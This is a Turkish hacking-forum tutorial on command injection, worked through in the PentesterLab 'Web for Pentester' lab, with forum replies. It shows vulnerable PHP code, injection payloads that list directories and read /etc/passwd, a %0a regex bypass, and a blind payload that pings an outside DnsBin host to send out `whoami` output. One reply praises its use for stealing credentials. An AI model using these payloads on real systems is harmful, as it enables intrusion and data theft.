DnsBin [Python]

k3~

Özel Üye
5 Eki 2015
2,980
21

Kavramın ispatına geçmeden önce command execution zafiyetinin ne olduğuna ve ne gibi koşullarda ortaya çıktığına değinmek istiyorum.

Türkçe'ye çevirecek olursak "Komut Çalıştırma" zafiyeti saldırganın hedef sistem veya işlemde istediği komutları çalıştırmasına imkan veren bir güvenlik açığıdır.

Bu açığın en tehlikeli yönü ise saldırganın açık bulunan sistemin komut satırına erişim sağlayabilmesi, dolayısıyla sistemde yetkili konuma ulaşabilmesidir. Saldırgan komut satırına (linux sistemlerde shell, windows sistemlerde dos gibi) ulaştıktan sonra çeşitli komutlar çalıştırarak yetki yükseltebilir, sistemin çalışmasına son verebilir, hatta sistemde arka kapı oluşturabilir.
Açığın ne gibi durumlarda ortaya çıktığını bir örnek üzerinden anlatmak gerekirse:

Pek çok web uygulaması işletim sistemi üzerinde işlem yapmak için komut satırını kullanıyor. Buna örnek olarak linux server tabanlı, terminalden "nslookup" komutunu çalıştırarak DNS sorgusu yapan bir websiteniz olduğunu düşünün. Her sorguda sunucunuzda nslookup komutu çalıştırılıyor ve işlem çıktısı websiteniz üzerinde gösteriliyor.
Ancak kullanıcıdan aldığınız get isteğindeki domain parametresini kontrol etmediniz.

Kod:
[COLOR="olive"]$domain = $_GET['domain']; [COLOR="White"]// Kontrol sağlanmadı. Command Execution zafiyeti [/COLOR]
$lookup = system("nslookup {$domain}");[/COLOR]

Saldırgan sitenizin PHP kullandığının farkında. Bir sorgu yapıyor ve URL içinde yaptığı sorgunun parametre olarak gönderildiğini görüyor.

MGy0P2.png


Ardından sorgu işleminin işletim sistemindeki bir işlem yardımıyla yapıldığını düşünüp yaptığı sorgunun sonuna başka bir işletim sistemi komutu ekliyor.

Kod:
[COLOR="Lime"][CENTER]google.com && echo "x"[/CENTER] [/COLOR]

&& -> Terminal'de "ve" anlamına gelmektedir. Art arda komut çalıştırmamıza yarar.

V9cTeH.png


Saldırgan, sorgu sonucunda aldığı çıktıda kendi yazdığı komutun çıktısını görüyor ve Command Execution zafiyetinin varlığını anlamış oluyor. Bu saatten sonra saldırgan sistemin komut satırında istediği komutları çalıştırabilir. (Örnek olarak sorgunun sonuna "&& cat /etc/passwd" ekleyerek linux işletim sistemindeki kullanıcılar hakkında bilgi içeren bu hassas dosyayı okuyabilir)

Command Execution Örnekleri

Örnekleme amacıyla PentesterLab'ın sızma testleri için hazırladığı Web for Pentester I setini kullanacağım. (Bkz: https://pentesterlab.com/exercises/web_for_pentester)

Eğer siz de setten yararlanmak istiyorsanız verdiğim linkten ISO dosyasını indirip herhangi bir sanal bilgisayar üzerine (Ben VBox tercih ettim) ISO dosyasını ekleyip Debian olarak başlatmanız yeterlidir. Ağ ayarlarını Bridged yaptıktan sonra sanal bilgisayarın IP adresini tarayıcıya girdiğinizde sizi şöyle bir ekran karşılayacak:

U0fe9J.png


Resim üzerinde işaretlendiği gibi Command Injection kısmına geliyoruz.

~ Örnek [0x1] ~

Anlatılan ilk senaryodaki gibi parametrenin sonuna istediğimiz komutu yazarak saldırıyı gerçekleştirebiliyoruz.
Burada dikkat edilen şey "&&" yerine terminal'de input ve output geçişini sağlayan "|" (pipe) kullanmamızdır.

NxdIzG.png


"ls" komutu ile dizin listelemesi yapıldı.

SI3dxR.png


Zafiyetin ortaya çıkış sebebi alınan inputun herhangi bir filtreden geçirilmiş olmamasıdır.

~ Örnek [0x2] ~

Bu örneğimizde ilk örnekteki mantığı kullanmaya çalıştığımızda şöyle bir manzarayla karşılaşıyoruz.

TH46yN.png


Bu durumda bir tür kontrol işleminin yapıldığı sonucunu çıkarabiliriz. Peki nasıl komut çalıştıracağız?
Daha net anlaşılması açısından kaynak kodu üzerinden anlatacağım.

UUTWJ1.png


Görüldüğü gibi burada regex kullanılarak bir kontrol yapılmış. Bu örnekte komut çalıştırma zafiyetini kullanmak tamamen ayrı bir yazı konusu ancak ben yine de vereceğim kaynaktaki bilgileri özetleterek anlatacağım.
Regex üzerinde url kontrolü yapılmış olmasına rağmen URL encoded bir şekilde whitespace karakterini gönderdiğimiz zaman (%0a) bu karakter regex sorgusunda kendisinden önceki kısmı geçersiz kılıyor ve regex'i bypass edebiliyoruz.
Regex'teki "/m" 'karakterinden kaynaklanan bu zafiyet ve detaylı bilgi : https://nvisium.com/blog/2015/06/11/regex-regularly-exploitable.html

bC9a40.png


~ Örnek [0x3] ~

7V4yG0.png


Örnek 1 ve örnek 2'deki yöntemleri denediğimizde hiçbir değişiklik olmadığını göreceksiniz. Denediğimiz payload'ları kabul etmeyip URL'yi "/example3.php?ip=127.0.0.1" olarak yeniliyor. Bu örnekte eski metotlarımızla komut çalıştıramıyor gibi görünüyoruz.
Görünüyoruz... Ya komutlarımız çalışıyor ama web uygulama bize komutlarımızın çıktısını vermiyorsa? İşte tam burada DnsBin projesi devreye giriyor.

DnsBin

Sitesine girdiğinizde sloganında da görüldüğü gibi "RequestBin'in DNS versiyonu"dur. Peki RequestBin nedir? RequestBin size geçici bir URL verir ve bu URL'e yapılan istekleri denetleyerek web uygulamanızın gönderdiği istekler hakkında bilgi sahibi olmanızı sağlar.

RequestBin: https://requestbin.fullcontact.com

DnsBin de RequestBin'le aynı mantıkta çalışır, request yerine DNS kullanmaktadır. DNS kullanarak RCE veya XXE açıklarının tespiti için yazılmış açık kaynak kodlu bir projedir. Öyle ki kendiniz de bu projeyi kurup server'ınızda çalıştırabilirsiniz.
DnsBin Source: https://github.com/HoLyVieR/dnsbin
Kurulum Hakkında Detaylı Bilgi: https://www.kitploit.com/2018/05/dnsbin-tool-to-test-data-exfiltration.html

Sitesi (bir nevi demo): DNSBin - The request.bin of DNS !

DnsBin'in sitesine girdiğinizde size bir subdomain gelir. Daha sonra bu subdomain'de belirtilen yeri değiştirdiğinizde DNS aracılığıyla bu veri sayfaya iletilir.

3GTCT1.png


Gösterilen yeri değiştirip yeni sekmede açalım. Telaşlanmayın olması gerektiği gibi sayfa yüklenmeyecektir.

O8OV9C.png


Daha sonra ilk sekmemize baktığımızda verinin iletilmiş olduğunu göreceksiniz. Ben bu örnekte ilk kısma "x" yazmıştım. Daha sonra "dnsbintest" yazıp iki tane veri gönderdim.

Görüldüğü gibi verilerimiz DNS üzerinden iletiliyor.

3 numaralı örneğimize dönecek olursak burada bu tekniği kullanarak command execution zafiyetini göstermemiz mümkün. Bunu yaparken DnsBin'i browser'dan kullanmak yerine kendi yazdığım Python scripti üzerinden anlatacağım. Proje taslağı şu şekilde:

Programın İsmi: DnsBin Python Interpreter

Programın sürümü: 1.0

Kullanılan programlama dili: Python

Programın ve kaynak kodunun adresi: https://github.com/orhun/DnsBin

Açıklama: DnsBin'i terminal üzerinden kullanmanızı sağlayan Python scripti

Gereksinimler: Python3.6 - websocket paketi [pip3 install websocket-client]

Kullanımı: python dnsbin.py

Örnekte command injection zafiyeti olduğunu kanıtlamak için DnBin'den bir adres alıp URL sonunda o adrese ping atıyorum.

3yeGMV.png


dazfyN.png


Sayfayı yeniliyorum. Ve terminale baktığımızda yazdığımız yazının iletilmiş olduğunu görüyoruz.

Q5BQMz.png


Bu demek oluyor ki sistemde command execution zafiyeti mevcut ve benim ping isteğimi yerine getirebiliyor. Bir shell scripti hazırlayıp başka komutlar deniyorum.

Hazırladığım payload

Kod:
[COLOR="Lime"][CENTER]| ping -c 1 `whoami`.056e8032430800f049f8.d.zhack.ca[/CENTER][/COLOR]

`` arasına terminal komutunu yazıyoruz.

whoami komutu çalışıyor ve hangi kullanıcı olduğumuzu terminale yansıtıyor.

6NN3AI.png


Bu şekilde command injection zafiyetinin tespitini yapabilir ve dilerseniz değişik payloadlar ile beraber DnsBin kullanarak saldırı yapabilirsiniz. Örnek atak vektörleri gösterilmiş olup gerisi tamamen sizin hayal gücünüze kalmıştır.

Link: https://github.com/orhun/dnsbin

DnsBin Python Script: https://github.com/orhun/DnsBin
Yararlanılan Kaynaklar:
https://pypi.org/project/websocket-client/
https://www.hacksplaining.com/exercises/command-execution


İyi kullanımlar dilerim :)
 
Moderatör tarafında düzenlendi:

'TÜRKÇÜ

Kıdemli Üye
3 Haz 2017
2,059
2
Emeginize sağlık, komutanım. Yarısına kadar okumuş bulunmaktayım. Ve gerçekten ciddi bir zaafiyet olduğunu düşünüyorum. Özellikle, defacerlarin mutlaka işine yarayacaktır. Hedefin bulunduğu, barındığı hosttaki sitelerin verilerinin, kullanıcı adı ve passwordların da bu zaafiyetten yararlanılarak, ele geçirileceğini de tahmin edebiliyorum. Bilgisayarım olmadığı için ne yazık ki bu işlemleri deniyemeyeceğim :( tekrardan emeğinize sağlık. Teşekkürler..
 

R34L H4CK3R

Katılımcı Üye
30 Tem 2017
472
0
Gençler Keylo99 Reis O Kadar Emek Veriyor. Karsılık Bizden istemesede biz vefalı olup YouTube Kanalina Abone Olsak ? Ek Olarak Yayınladıgı Yeni Programlardan da Haberdar ouş oluruz. (YouTube'da Videolara Reklam Alabilmesi için Şu an En Az 1000 Abone Olması gerekiyor.) THT Olarak Keylo99 u 1K abone yapamıyorsak...
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.